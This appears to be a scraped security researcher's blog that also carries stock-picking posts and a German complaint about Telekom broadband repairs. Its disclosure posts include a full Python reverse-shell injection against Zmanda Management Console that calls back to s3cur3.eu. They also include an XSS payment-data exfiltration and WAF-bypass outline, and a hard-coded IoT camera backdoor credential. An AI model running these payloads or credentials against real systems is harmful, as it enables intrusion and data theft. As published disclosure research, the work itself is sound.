Vitrolife – investing in future generations

The World Health Organization (WHO) estimates that approximately 10% of all couples of reproductive age have difficulties in having children. According to the NHS (https://www.nhs.uk/conditions/infertility/) it‘s even worse, 1 in 7 couples have difficulty conceiving. The average age of first-time mothers is increasing steadily over the last years contributing to the problem. As adoption is often not the preferred option for couples, in-vitro fertilisation is the only option. An option that only provided a 15% success rate in 1980 and now leads to successful pregnancies in >50% of the cases.

The macro trends are clear, overall decreasing fertility, increasing age of first-time mothers and a growing middle-class in developing countries opens up a market for Vitrolife, a Swedish company specializing in in-vitro fertilisation.


The customer NPS is > 70 and the employer NPS solid proving a good product and work environment for the industry.


Looking at the financials you can see a strong growth in sales, a slightly decreasing but healthy gross margin and a strong return on equity rate of nearly 23%. (Source: https://mb.cision.com/Main/1031/3076403/1220582.pdf)

While the company is definitely not cheap anymore with a PE ratio of 56 (2019), it’s covering an upcoming trend that will gain even more traction as the company moves to artificial intelligence-assisted IVF processes. A pretty decent long-term buy with a great mission!


Did the pandemic kill the salmon farm hype?

Maybe some of you saw the pretty harsh decline of salmon farm stock prices during the pandemic, one could think that the pandemic killed the trend but did it?


First of all let’s check the fundamentals: According to the WWF (https://www.worldwildlife.org/industries/farmed-salmon) salmon aquaculture is the fastest growing food production system in the world while the development of the global average fish consumption is growing steadily. Mainly developing countries catching up with the consumption levels of North America and Europe. By 2027, per capita fish consumption is estimated to be 21.3 kg (vs. 9.9kg in the 1960s and 20.8kg in 2018) as reported by MOWI (https://ml.globenewswire.com/Resource/Download/1766f220-c83b-499a-a46e-3941577e038b).


Salmon has a 4.4% share of the global seafood supply, and the wild supply is decreasing since 2009 while farmed salmon is growing strong.

In addition to that the main macro trends positively influencing the farmed salmon demand are climate change and more nutritionally conscious eating habits in developed countries (move from meat to fish), overfishing and a growing middle class in developing countries.

So long-term trends are looking great but why is COVID-19 impacting the spot price that much then?

As a lot or restaurants and hotels closed during Q1/Q2 and some still didn’t reopen, demand dropped significantly and shifted to retail clients. China banning salmon imports claiming it to be responsible for transmitting the virus didn’t help the situation: https://www.scmp.com/economy/china-economy/article/3089404/coronavirus-chinas-freeze-imported-salmon-stirs-concern-about

Now the spot prices are down around 10% and slowly recovering: http://www.fao.org/in-action/globefish/market-reports/resource-detail/en/c/1296665/ The lower prices may have a positive medium/long-term effect caused by new retail consumer habits.

So let’s have a look at the salmon price per kg in Euro over the last 10 years (source: https://fishpool.eu/price-information/spot-prices/history/) to get a feeling for the existing trend:

  • 2019 - 6,01
  • 2018 - 6,33
  • 2017 - 6,54
  • 2016 - 6,8
  • 2015 - 4,7
  • 2014 - 4,82
  • 2013 - 4,82
  • 2012 - 3,56
  • 2011 - 4,10
  • 2010 - 4,66

We see an increase over 22% over the last 10 years, a price increase of 2.26% y-o-y.

What if we assume a price per kg of 6,63 € in 2025, a continuation of the previous growth rate and look at the Q2 reports of Grieg Seafood, a Norwegian salmon producer?


Grieg reached a EBIT/kg of 0,90 € over the last 5 quarters at a cost of 4,11€/kg. Although the harvesting targets were cut from 100 000 to 95 000 tonnes, the vision of 150 000 tonnes in 2025 is still valid.

If the costs increase a bit to 4,16€/kg (completely ignoring cost reducing scale effects), we end up with a profit of 2,47€/kg, resulting in a very conservatively calculated EPS of 2€ (including a 40% cost buffer for taxes etc.). Keeping in mind a price/earnings ratio of 10 is a fair valuation for this industry we are looking at a price target of 20 € per share.

What does that mean for you?

122% in 5 years / 24,4% y-o-y / + an additional dividend of 0.38 € per share (3-4%)

No financial advise, but as everybody knows if there’s blood on the streets…you know the story! The author owns Grieg Seafood shares.

Will COVID-19 be the trigger to burst the bubble?

I'm constantly on the look for innovative ways to diversify my assets, reasons for this vary but it's mostly about risk management and getting exposure to potential high-return investments. As an investor you have to question your decisions constantly and adapt to the market, COVID-19 changed the situation significantly.

Zmanda Management Console 3.3.9 - RCE (CVE-2019-19469)

Zmanda Management Console 3.3.9

Weak default credentials in combination with missing input validation allow a remote attacker to execute arbitrary code on a server using the Zmanda Management Console 3.3.9.


It's possible to execute whitelisted commands using the following link without any CSRF protection:

"Only the following non-interactive commands are permitted: amadmin, amcheckdb, amcleanup, amdump, amflush, amlabel, amlabel, amreport, amrmtape, bzip2, chgrp, chmod, chown, cp, date, df, diff, du, echo, env, file, find, grep, gzip, head, ls, lsattr, lsscsi, man, md5sum, mkdir, mt, mtx, mv, nslookup, ping, ps, pstree, sha1sum, sha224sum, sha256sum, sha384sum, sha512sum, sort, star, stty, tail, tar, top, traceroute, tree, uname, uptime"

Clicking the following link will execute the "echo" command displaying the string "test":

By abusing the piping feature via "echo test | whoami" it's possible to bypass the restriction to execute the "whoami" command:|whoami

Leveraging that behavior allows to execute arbitrary code using a Python reverse shell. Clicking the following link will connect the server to s3cur3.eu on port 8080 spawning a /bin/sh shell:|python%20-c%20%27import%20socket%2csubprocess%2cos%3bs%3dsocket%2esocket%28socket%2eAF_INET%2csocket%2eSOCK_STREAM%29%3bs%2econnect%28%28"s3cur3%2eeu"%2c8080%29%29%3bos%2edup2%28s%2efileno%28%29%2c0%29%3bos%2edup2%28s%2efileno%28%29%2c1%29%3bos%2edup2%28s%2efileno%28%29%2c2%29%3bp%3dsubprocess%2ecall%28%5b"%2fbin%2fsh"%2c"-i"%5d%29%3b%27

Using network fingerprinting techniques it's possible to automatically exploit the vulnerability in combination with weak default credentials if an employee connected to the internal network visits a special website.

Reverse shell incoming


The vulnerability was disclosed to Zmanda prior to publishing the vulnerability details. Slides to my BSides Lisbon presentation can be found here.

Weaponize XSS and bypass (bad) WAFs

Imagine we’ve a reflected XSS on https://test-site.com and the following characters are filtered: spaces, (single) quotes, <, >, } and {. But you also want to develop a weaponized exploit to exfiltrate personally identifiable information, popping an alert box is boring.

You’ve two injection points one in a <meta> tag and one in a <a> tag:

<meta content="0;url=injection_point” http-equiv="refresh"> and <a href=“injected”>injection_point</ a>

I guess your first idea is to abuse the meta tag to redirect to a JavaScript URL? Nice try, but that’s not going to happen with modern browsers…

Refused to refresh https://test-site.com/mm?redirect= to a javascript: URL

What about making the user click on the <a> tag instead? We could also use a JavaScript URL:


Displaying the session cookies is bit more interesting but still, where’s the business impact? Okay, we should go searching for the REST API endpoints to find the ones returning the most interesting data e.g. credit card data (hope nobody actually does that), KYC data or simply user data like address, e-mail, phone etc..We’re lucky, there’s a funny endpoint returning credit card data and it’s even on the same domain:


Since we’ve JS code execution on the same domain we’re free to interact with the underlying API. Let’s write some lines to interact with the API and access the response:

function exfiltrate() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
  xhttp.open('GET', ‘https://test-site.com/api/get_payment_data', true);

Nice! But wait, didn’t we say spaces, (single) quotes, <, >, } and { are filtered? Yep! Combined with String.fromCharCode and eval it’s still exploitable and there you go:


Obviously a WAF that doesn't block eval in that context is kind of useless anyway but it happens. This blog post is related to a finding exposing a lot of personally identifiable information and I’m currently in the process of responsible disclosure.


OSINT: Tracking cryptocurrency trading volume using the Slovenian ZPPDFT-1 act

Recently I found an interesting file on uppd.gov.si called nakazila.xls (translated: wire transfers) while I was doing some reconnaissance for a bug bounty program. After verifying that the file was published on purpose I started to look at it, here's what I learned:

According to the ZPPDFT-1 (prevention of money laundering and terrorist financing act) every financial transaction done by a Slovenian company which is bigger than 15 000 € should be checked for the following criteria:

  • Is the receiving company registered in a high risk country?
  • Does the company use a bank account registered in a high risk country?

If so, the transaction needs to be reported to regulatory authorities and will be published here: http://www.uppd.gov.si/si/javne_objave/podatki_o_transakcijah_68_clen_zppdft_1/

A list of high risk countries can be found here: http://www.uppd.gov.si/si/javne_objave/seznam_drzav_50_clen_zppdft_1/

The published data includes the date, sender, recipient, amount and arbitrary references. It‘s well known that the cryptocurrency exchange Bitstamp was founded in Slovenia. Although the exchange is now operated by Bitstamp Ltd. registered in London, Bitstamp still reports suspicious transactions to the Slovenian authorities complying with ZPPDFT-1, likely because of a Slovenian subsidiary or office.

Let's see what we can find!

  1. Get the transaction data of 2017: wget 'http://www.uppd.gov.si/fileadmin/uppd.gov.si/pageuploads/NAKAZILA/Arhiv/nakazila_05012018.xls'
  2. Install gnumeric to get access to ssconvert, a tool to convert xls files: apt-get install gnumeric
  3. Convert the xls file to a simple text file: ssconvert -O 'separator=; format=automatic' nakazila.xls nakazila.txt
  4. Now you can start filtering: cat nakazila.txt | grep "BITSTAMP LIMITED" | grep "WITHDRAWAL"

Of course withdrawals don't need to be connected to recent sales but they still provide valuable insights.

Example: January 2018 - March 2018, USD transactions

2018/03/30;"BLOCK SOLUTIONS SDN. BHD.";42539
2018/03/27;"MCM 965 D.O.O.";39964
2018/03/26;"BETUR INC";499550
2018/03/23;"BETUR INC";399640
2018/03/20;"BETUR INC";499550
2018/03/14;"BANK FRICK   CO. AG";51412
2018/03/14;"BETUR INC";499550
2018/03/06;"BETUR INC";499550
2018/03/06;"AVEX CONSULTING SDN BHD";79928
2018/03/05;"BETUR INC";749325
2018/03/05;"BETUR INC";749325
2018/03/02;"BETUR INC";499550
2018/03/01;"BETUR INC";599460
2018/02/28;"BETUR INC";499550
2018/02/23;"BLOCK SOLUTIONS SDN. BHD.";33640
2018/02/21;"BETUR INC";499550
2018/02/21;"BLOCK SOLUTIONS SDN. BHD.";33441
2018/02/20;"MOVING MEDIA GMBH";1953840
2018/02/20;"ICFRAME, CORP";30038
2018/02/19;"BETUR INC";749325
2018/02/13;"AVEX CONSULTING SDN BHD";79928
2018/02/12;"ICFRAME, CORP.";27246
2018/02/12;"BLOCK SOLUTIONS SDN. BHD.";21980
2018/02/06;"EIGHT TRADING W.L.L.";199820
2018/02/06;"BETUR INC";499550
2018/02/05;"ICFRAME, CORP.";26876
2018/02/02;"PICOSTOCKS INCORPORATED";1258643
2018/02/01;"PICOSTOCKS INCORPORATED";1116155
2018/01/30;"BLOCK SOLUTIONS SDN. BHD.";40316
2018/01/30;"BETUR INC";499550
2018/01/30;"EIGHT TRADING W.L.L.";179838
2018/01/30;"BLOCK SOLUTIONS SDN. BHD.";49527
2018/01/29;"BETUR INC";499550
2018/01/23;"EIGHT TRADING W.L.L.";259766
2018/01/18;"ICFRAME, CORP.";23722
2018/01/18;"BANK FRICK AND CO AKTIENG";1216201
2018/01/16;"BLOCK SOLUTIONS SDN. BHD.";22294
2018/01/10;"ICFRAME, CORP.";30599
2018/01/08;"AVEX CONSULTING SDN BHD";79928

Combining the transaction data with the monthly BTCUSD performance on Bitstamp:

November: 685 362 $ / Performance: + 70 %
December: 1 473 385 $ / Performance: + 28 %
January: 3 516 861 $ / Performance: - 47 %
February: 7 064 272 $ / Performance: + 8 %
March: 5 311 787 $ / Performance: - 44 %
April: 7 460 621 $ / Performance: + 52 %
May: 10 735 557 $ / Performance: - 18 % (Note: MISSION GATE INC was responsible for 5 045 455 $)
June: 4 122 118 $ / Performance: - 16 %

Since the start of the bear market we can see an increasing amount of withdrawals which might be connected to late profit-taking and the need to pay capital gains taxes. Nevertheless, always remember correlation does not imply causation.

Besides that we can also track transactions to the Bank Frick that "is the first financial institution in Liechtenstein to offer the trading of five leading cryptocurrencies and secure safekeeping via offline storage." (Source: https://www.bankfrick.li/en/about-bank-frick/news/bank-frick-allows-direct-investments-in-leading-cryptocurrencies), the service is aimed at "professional market participants and financial intermediaries".

EFAIL – are encrypted e-mails insecure now?

As the chairmen of a German human rights association I‘m familiar with how NGOs handle e-mail encryption and how important it is. Of course the research behind EFAIL points out valid vulnerabilities, but encrypted e-mails aren‘t insecure, you just need to be a little bit more careful now.

„In a nutshell, EFAIL abuses active content of HTML emails, for example externally loaded images or styles, to exfiltrate plaintext through requested URLs. To create these exfiltration channels, the attacker first needs access to the encrypted emails, for example, by eavesdropping on network traffic, compromising email accounts, email servers, backup systems or client computers.“ - Source: https://efail.de/

  1. Not all e-mail clients load img tags or CSS without user interaction. Check out the paper to see if your client is affected: https://efail.de/efail-attack-paper.pdf
  2. An attacker needs to have access to the encrypted e-mail he/she wants to decrypt:
    • MITM: Not a single NGO I know uses SMTP servers that allow unencrypted traffic today. An attacker would need to break TLS to get access to the encrypted e-mail. Sure, that‘s possible but if somebody is able to intercept and decrypt all your TLS traffic you‘re likely pwned already.
    • Compromising or seizing e-mail accounts, servers, backup systems or client computers: Of course somebody could simply compromise your e-mail server or client computer but he/she would still need to find the right e-mail because re-sending all your 20k e-mails will be a bit suspicious.

You see there‘re a number of requirements, it‘s certainly not a „encrypted e-mails are insecure now“ case. The worst part of the vulnerability disclosure is the EFF stating:

„Our advice, which mirrors that of the researchers, is to immediately disable and/or uninstall tools that automatically decrypt PGP-encrypted email. Until the flaws described in the paper are more widely understood and fixed, users should arrange for the use of alternative end-to-end secure channels, such as Signal, and temporarily stop sending and especially reading PGP-encrypted email.“ - Source: https://www.eff.org/deeplinks/2018/05/attention-pgp-users-new-vulnerabilities-require-you-take-action-now

You can‘t simply move the whole communication of a NGO to Signal that‘s impossible. A lot of scared NGOs will go back to unencrypted e-mails now, good work!

Just disable parsing HTML mails or use Allow HTML Temp - https://addons.mozilla.org/en-US/thunderbird/addon/allow-html-temp/. Educate your friends/colleagues about the risks of HTML e-mails to make sure your secret message won‘t be leaked on their side. It's well known that HTML e-mails are risky, that's not breaking news.

Nevertheless, as a security researcher I like the elegant way of exploitation, it‘s a great finding and nice research but I don‘t like the way it was communicated.


Breaking IoT devices - a pentesting checklist

When I was preparing my talk for TROOPERS I noticed that there aren't a lot of ressources on penetration testing for IoT devices that's why I wrote this short todo list in the speaker’s lounge. Use it as a checklist. ;-)

  1. Check what services are running on the device, nmap it! Enumerate the attack surface!
    • Is a ssh/telnet server running? Get a list of common user names & passwords, bruteforce it!
    • Does it use Bluetooth? Intercept the traffic!
  2. How's the session management working? Is basic access authentication used? Are you able to bypass it?
  3. Does the device use weak default credentials? Does it use rate limiting?
  4. What web server is used? GoAhead?
  5. Check for common web vulnerabilities (e.g. command injections, local/remote file inclusions, XSS, CSRF, path traversal).
  6. Is there an auto-update feature? If so, play man-in-the-middle!
    • Prepare an unsigned malicious firmware and try to update it.
  7. Look at the firmware, binwalk it!
    • binwalk - Quick Start Guide
    • Look for juicy files e.g. private keys, cleartext passwords, password hashes etc.
    • Basic access authentication? Search for .htpasswd files. Backdoor accounts are more common than you might think!

Are you sure - you are alone?

Everything began in the summer of 2017...a lonely IoT camera was getting dusty on my table, I remember I bought it back in 2016 to check what's going on at home when I'm on vacation but I guess that was just a bad justification to get a new toy.

Actually I don't like surveillance cameras, we already have a lot of them to fight crime & terrorism but often they don't help at all. They don't prevent crime, the only thing they might do is moving crime to another place. Unfortunately the recent news about increasing home burglaries lead to a spike of private surveillance. So what's the problem here?

People buy "smart" surveillance gear to "protect" their homes, they set up indoor & outdoor cameras and connect them to their home networks.

That's how such a thing looks like:

Eminent EM6250HD

Source: https://goo.gl/46gsF8

It doesn't look that scary, does it? Well, it depends... ;-) It has a microphone, two HD lenses for day and night view, a passive infrared sensor (PIR), a speaker and it supports WiFi/Ethernet. Furthermore you can insert a SD card to save recorded videos. You can still buy it online if you like but after reading this I guess you won't.


It also has some nice hidden features, it's completely broken from a security aspect:

  • count(XSSs & CSRFs) → ∞
  • backdoor account (supervisor:dangerous)
  • command injections as uid=0
  • no auto-update (not sure if that's good or bad...at least they didn't go the auto RCE way aka 'loading unsigned binaries via HTTP')

If you combine it all you end up with a nice unauthenticated remote code execution as root. Let's put it together:

The camera uses basic access authentication to restrict access to the administration panel but inside the firmware there's a hidden backdoor account. It's called supervisor with the password dangerous, they knew what they were doing but they did it anyway.

My exploit uses the hard-coded backdoor account to send an authenticated POST request exploiting a command injection flaw to /cgi-bin/wlanset.cgi. The payload will start the telnet server to enable remote shell access. If the camera is connected via WiFi you'll lose the connection, better use the second command injection flaw on /cgi-bin/smtpset.cgi.

Quick demo:

That's awesome but boring...not everybody enables port forwarding, you miss a lot of vulnerable devices. Inspired by SkyLined's LocalNetworkScanner I did some research and found Mathew Ulm's js-recon.html. I modified it and added image based fingerprinting, here's a short demo:

Now we've a weaponized & reliable remote code execution exploit for the device, but we can even hit devices inside home networks. A simple website visit would be enough to get your device compromised. But it's limited to a single Eminent device? Nope, I found a lot of affected devices from multiple vendors:

Accessing those devices without authorization would harm the privacy of their owners, in addition it would be a criminal offense in Germany. That's why my list is likely incomplete, sometimes model information isn't publicly accessible information.

The main problem for the average user is you can only trash the devices to stay safe, only StarVedia fixed the vulnerabilities. I would recommend to create a seperate network for all IoT devices you have...or make those smart devices dumb again!

Using such a device allows anybody to spy on you, your family and friends. Watching you eat, sleep or having fun...everything could be recorded including sound, temperature & moves. Wouldn't you pay for certain videos to stay offline? You make yourself susceptible to blackmail. That's not even all, the same device that should protect your home will happily betray you and tell criminals when you're usually leaving the house.

All companies using those devices should immediately disconnect them or they will be used for corporate espionage or as a network entry for WannaCry 2.0.

I worked together with Beyond Security to coordinate the responsible disclosure process.


Massenkarambolage auf der Datenautobahn

Wie ihr wahrscheinlich alle mitbekommen habt, ist Deutschland eher ein digitales Entwicklungsland. Nicht nur, dass wir bis zu 13x so viel Geld für Mobilfunktarife bezahlen wie unsere französischen Kollegen, auch unser Breitbandausbau hängt massiv hinterher.

Deswegen hat sich die Deutsche Telekom nun diesem Problem angenommen:

„In den letzten Monaten haben wir in verschiedenen Regionen den Breitbandausbau aktiv vorangetrieben, neue Verteilerkästen aufgebaut und diese mit modernen Glasfaserleitungen verbunden. Dadurch können Sie ab sofort mit bis zu 50 MBit/s surfen – in einigen Gebieten sogar mit bis zu 100 Mbit/s.“

Ich möchte nicht bestreiten, dass sie das an zahlreichen Orten unproblematisch hinbekommt, aber teilweise eben auch nicht. Geschrieben & publiziert wurde dieser Artikel mit einer Mobilfunk-Verbindung via LTE nach 6 Tagen ohne Internet & Telefon und ohne Aussicht auf Besserung. Da ich fast ausschließlich im Homeoffice arbeite, ist eine funktionierende Internetverbindung ausgesprochen wichtig.

Im Oktober 2017 sollte dieser Breitbandausbau auch in das schwäbische Hinterland kommen, voller Hoffnung bestellte ich also das 100 Mbit/s Paket, Liefertermin Ende November. Für 44,95 € im Monat sollte dieses Paket die Internetanbindung im Downlink zumindest versechsfachen. Das diese Entscheidung mir später viel Ärger einbringen würde, konnte ich hier noch nicht wissen.

Die folgenden Monate bekam ich einen kleinen Vorgeschmack auf das Abenteuer, auf das ich mich hier eingelassen hatte. Die Bereitstellung der Leitung verzögerte sich 3 Mal bis in den Januar 2018 aus unterschiedlichsten Gründen (z.B. „Sie hätten das eigentlich noch gar nicht buchen können“, „Hier liegt kein Auftrag vor“, „Die Infrastruktur ist fertig, aber wir müssen Sie noch freischalten“, „Die Schaltung erfolgt im 2-Stufenverfahren, die 2.Stufe fehlt anscheinend noch“). Die Verzögerung an sich hätte mich gar nicht gestört, wenn man nicht dann im Januar plötzlich entschieden hätte, ein Fiasko ohnegleichen zu starten.

Wir sind im Januar 2018, laut der Telekom kommt nun bald die Freischaltung, die lang ersehnte 2. Stufe. Ein bisschen Vorfreude kommt auf, zu früh. Mittwoch, 03.01.2018 gegen 15 Uhr, Internet & Telefon fallen aus, einen Tag vor der Freischaltung. Ich frage mich, ob das vielleicht mit dieser 2. Stufe zu tun hat und mache erstmal eine Störungsmeldung. Der Kundenberater erzählt mir irgendwas von einer gestörten Leitung, einem fehlenden DSL-Signal und setzt einen Technikerbesuch auf den 05.01, Freitag. Die Frage, ob das mit der Freischaltung zusammenhängt, verneint er. Kein Internet & Telefon bis zum 05.01, macht nichts, man hat ja nicht umsonst einen überteuerten Mobilfunkvertrag.

Am nächsten Tag bekomme ich eine SMS, dass ein anderer Techniker erfolgreich die Leitung freigeschaltet hätte, die 2. Stufe ist abgeschlossen. Ich bin nun also im Genuss einer ausgebauten Datenautobahn..zumindest theoretisch, denn die Störung dauert an. Dennoch bin ich einigermaßen gut gelaunt, denn schon morgen wird ja „entstört“.

Freitag, 05.01.2017, der Techniker, der für die Entstörung zuständig ist, erklärt das Problem für behoben. Schön für ihn, aber seine Wahrnehmung schien schon etwas von dem bevorstehenden Wochenende getrübt gewesen zu sein, denn hier ist alles noch kaputt. Der Anruf bei der Hotline ist wieder ein kleines Highlight:

Kundenberater: „Mmh, ja das ist ungünstig. Da müssen wir wohl einen anderen Techniker bestellen. Theoretisch könnte ich Ihnen gleich einen für Samstag bestellen?

Ich: „Das stimmt, das ist sehr ungünstig. Dann bestellen Sie doch einen Techniker für Samstag.“

Kundenberater: „Ich sagte, das wäre theoretisch möglich, denn da ist Feiertag. Aber ich könnte ihn trotzdem buchen, da kommt nur keiner vom Subunternehmen ...“

Ich: „Dann buchen Sie ihn einfach, wenn es praktisch möglich ist.“

Kundenberater: „Alles klar! Ich wollte Ihnen nur sagen was theoretisch möglich gewesen wäre. Ich könnte ihn buchen, aber er kommt dann nicht.“

Nach dieser kleinen Lektion in Theorie & Praxis geht nun langsam mein Datenvolumen zur Neige, aber die Telekom kann leider nur Kunden mit zusätzlichem Datenvolumen entschädigen, die auch einen Mobilfunktarif bei ihnen haben. Gut, vielleicht sollte ich also einen Wechsel meines Mobilfunktarifs anstreben demnächst, 30 € im Monat mit 2 GB „Highspeed-Volumen“ … oder doch gleich das L-Paket mit 6 GB zu 48,11 €? Das kostet dann sogar mehr als mein gestörter Anschluss, großartige Idee! Wir erinnern uns, in Frankreich zahlt man 14,49 € für 50 GB & min. 1000 Freiminuten...kommt ein Umzug in Frage? Nein, noch nicht!

Ich genieße also mein technikerfreies Wochenende und hoffe auf eine Entstörung am Montag, ja richtig, ich habe noch Hoffnung. Wichtige Anrufe versuche ich durch eine Weiterleitung auf die SprachBox, einem digitalen Anrufbeantworter, zumindest anzunehmen.

Montag, 08.01.2018, der Techniker wurde angekündigt von 8-17 Uhr. Ich frage mich wie das Menschen ohne Homeoffice machen, wahrscheinlich üben die sich dann einfach in Enthaltsamkeit. Dieses Neuland setzt sich ja eh nicht durch … 11 Uhr, ich überprüfe, ob sich schon irgendwas getan hat. Leider nein, alles bleibt gestört.

Einer meiner Handwerker fragt mich via WhatsApp, ob ich umgezogen sei. Wieso sollte ich umgezogen sein? Man erklärt mir, dass unter meiner Festnetznummer nun eine Frau P. erreichbar ist, die nichts von einem Herrn Kugler wüsste. Ich frage 3x nach, ob er wirklich meine Nummer gewählt hat, er versichert das. Da ich keine Frau P. kenne aber trotzdem gespannt bin, wer jetzt unfreiwillig eine Art Sekretärin ist, rufe ich mich selber an. Ich unterdrücke das schizophrene Gefühl und begrüße Frau P., die mir erzählt, dass sie eine Neukundin der Telekom ist und schon zahlreiche Anrufe von mir angenommen hat. Ich bedanke mich freundlich, dass sie immer noch den Hörer abnimmt und entschuldige mich vielmals für diesen Blödsinn. Wir verabschieden uns auf später. Es scheint so, dass dieser neue Tarif ein „Social Network“-Paket beinhaltet, jetzt verstehe ich den Slogan „Wir verbinden Menschen in Europa“.

Wen kontaktiert man in so einer Situation? Richtig, seinen Therapeuten...ich versuche es dennoch mit der Telekom-Hotline. Nach 5s habe ich bereits einen Kundenberater am Telefon, ein guter Tag:

Ich: „Ich würde mich gerne nach dem Stand der Entstörung erkundigen.“

Kundenberater: „Oh ja, ich sehe einen Totalausfall“

Ich: „Ja, richtig...seit 6 Tagen“

Kundenberater: „Uff, ja...das ist nicht lustig. Aber ich sehe der Techniker ist raus..er sollte ja von 8-17 Uhr kommen. Er hat ja noch Zeit.“

Ich: „Stimmt...aber entstört ist hier noch nichts. Dennoch denke ich, dass der Techniker schon daran arbeitet?!“

Kundenberater: „Ja, das kann sein.“

Ich: „Meine Telefonnummer hat jetzt einen neuen Eigentümer...eine Frau P. ist darüber nicht sonderlich begeistert. Kurz: Wenn ich mich anrufe, komme ich nicht bei mir raus. Ich bin also teilweise entstört, kann man das so sagen?“

Kundenberater: „Schön, dass Sie das noch mit Humor sehen. Naja, wenn man die Häuser wechseln würde, würde es wieder passen...“

Ich: „Da müsste ich nochmal Rücksprache halten mit Frau P., ein paar Eckpunkte klären.“

Kundenberater: „Das war jetzt eher ein Scherz...“

Ich: „Ich glaube man kann das mittlerweile nur noch mit Galgenhumor sehen. Meine SprachBox scheint auch nicht beachtet zu werden, lässt sich das ändern? Sonst müsste Frau P. ihren Arbeitsvertrag heute noch unterschreiben...“

Kundenberater: „Ja, das geht ohne Probleme! Ich mache das jetzt schnell….so das war jetzt erfolgreich, SprachBox erfolgreich eingerichtet & getestet. Wenn die Störung beseitigt ist, müssen Sie unbedingt die #29 wählen, das geht sonst nie wieder raus.“

Ich: „Vielen Dank! Dann bedanke ich mich für Ihre Hilfe!“

Kundenberater: „Heute ist relativ wenig los, 1-2 Kunden sind in der Warteschleife. Da haben Sie sich einen guten Tag ausgesucht.“

Ich: „Das dachte ich mir auch, wahrscheinlich hören wir uns später wieder. Bis später!“

Meine Anrufer können mich jetzt wenigstens wieder auf der Sprachbox erreichen und Frau P. wird nicht weiter belästigt...nicht so schnell, wenn ich eins gelernt habe die letzten Tage, dann war es das Überprüfen jeder Aussage eines Kundenberaters. Ich rufe mich also wieder an...das zweite Selbstgespräch heute, zum Glück bekommt das keiner mit. Es begrüßt mich aber nicht die Roboterstimme der SprachBox sondern eine genervte Frau P. … ich lege schnell wieder auf.

Wir schreiben immer noch den 08.01.2018, es ist 16:13 Uhr, der Techniker hat noch 47 Minuten etwas zu beheben...aber daran glaubt eh keiner. Ich bin mir ja nicht mal sicher wo der Techniker überhaupt hinkommt, denn von 5 Kundenberatern, habe ich 10 mögliche Störungen genannt bekommen und 12 mögliche Orte an denen gearbeitet werden müsste.

Das soll jetzt nicht nach Resignation klingen, ganz im Gegenteil, ich freue mich schon auf 17:01 Uhr, denn da rufe ich wieder meinen Therapeuten an...den Kundenberater.

Update - 08.01.2017, 17:05 Uhr:

Der Kundenberater der Disposition empfiehlt, sich doch selbst mit dem Subunternehmen herumzuschlagen. Das unfähige Subunternehmen mit dem Namen TMTkom GmbH aus Mülheim an der Ruhr ist aber leider telefonisch nicht zu erreichen. Jetzt frage ich mich zwischen wem eigentlich das Vertragsverhältnis besteht, zwischen mir und der Telekom oder zwischen mir und der TMTkom GmbH. Übrigens ist natürlich nichts entstört...

Zur TMTkom GmbH:


Update - 08.01.2017, 18:47 Uhr:

Der Subunternehmer ist auch für die Telekom nicht erreichbar, aber das macht nichts, denn der Auftrag liegt ja bereits beim Subunternehmer. Man kann an dieser Stelle leider nichts für den Kunden tun.

Update - 09.01.2017, 13:52 Uhr:

Nach einer E-Mail & einem Telefonat mit Herrn Marasopoulos, dem Geschäftsführer der TMTKom GmbH, war innerhalb von 20 Minuten ein Techniker verfügbar, der innerhalb von 5 Minuten das Problem am Verteiler behoben hat. Vielen Dank an dieser Stelle an den sehr sympathischen & kompetenten Techniker Herrn Kovacevic! Auf dem Rücken dieses armen Kerls betreibt die Telekom den Abbau des Kundenservices.

Update - 09.01.2017, 15:48 Uhr:

TMTKom GmbH hat sich telefonisch für die Verzögerung entschuldigt.

Aber nun zu den Einzelheiten, wie das alles passieren konnte:

1.) Die TMTKom GmbH stellt aufgrund von Personalmangel Personen ein, die keine Ahnung von der Infrastruktur haben und dann Dinge wie Verschaltungen verursachen oder Störungen einfach als geklärt abstempeln, um weniger Arbeit zu haben.

2.) Die Telekom baut zwar Verteilerkästen, beschriftet aber nichts. Das sowas nur in Chaos enden kann, sollte jedem bekannt sein.

3.) Der Kundenservice der Telekom ist bis auf wenige Ausnahmen ein absolut inkompetenter Haufen. Es ist unfassbar, dass die Disposition der Telekom nicht mal einen Weg kennt, um Kontakt mit dem eigenen Subunternehmer aufzunehmen. Es ist eine rein ökonomische Entscheidung lieber billige Subunternehmer zu beschäftigen als ein eigenes Techniker-Netzwerk. Das rechnet sich im Störfall für den Konzern, denn der Kunde muss um die Entschädigung kämpfen, die bei 1-2 € am Tag liegt.

Nachdem alles wieder funktioniert, schreibe ich jetzt eine Vorstandsbeschwerde an die Telekom und bedanke mich bei allen Kundenberatern für 7 Tage Stress & Ärger..die eigentliche Störung wurde in 5 Minuten behoben von einem externen Mitarbeiter, der dafür wahrscheinlich nicht mal ordentlich bezahlt wird.

So sieht Digitalisierung nicht aus!

Wie verhält man sich in einer solchen Situation?

Man betreibt OSINT (Open Source Intelligence) und versucht so viele Informationen wie möglich über das Subunternehmen zu erhalten, das nicht mal vom Auftraggeber (Telekom) erreicht werden kann.

Man braucht persönliche Adressen, ignoriert die info@, support@ oder sonstigen Sammelverteiler. Aber das geht auch mit LinkedIn-Profilen oder privaten Social-Media-Konten der Geschäftsführung, Unternehmensverzeichnisse, Telefonbücher. Erstellt ein kleines Dossier. ;-)


Idealerweise findet man die persönliche Adresse der Geschäftsführung...also wer war nochmal der Geschäftsführer? Thomas Marasopoulos.

Die interne Struktur für E-Mail Adressen scheint so auszusehen: vorname.nachname@tmtkom.de. Vorname & Nachname des Geschäftsführers kennen wir, also einfach zusammenbauen und los!

  • 11:48 Uhr - E-Mail an Geschäftsführer versandt.
  • 12:10 Uhr - Antwort des Geschäftsführers: Man nehme das Problem sehr ernst und werde sich zeitnah melden.
  • 13:XX Uhr - Anruf eines Technikers, der in 20 Minuten eintrifft.

Das ging schnell, warum nicht gleich so? Natürlich sollte man das erst machen, wenn man 5-10x die offiziellen Kontaktwege ohne Erfolg benutzt hat.

Why you shouldn't use enableRemoteAdmin and lock down your Axis server

Why you shouldn't use enableRemoteAdmin and lock down your Axis server

On a recent pentest I discovered a Apache Axis instance exposed on port 80, I never saw something like this before so I started to play with it and discovered some interesting things.

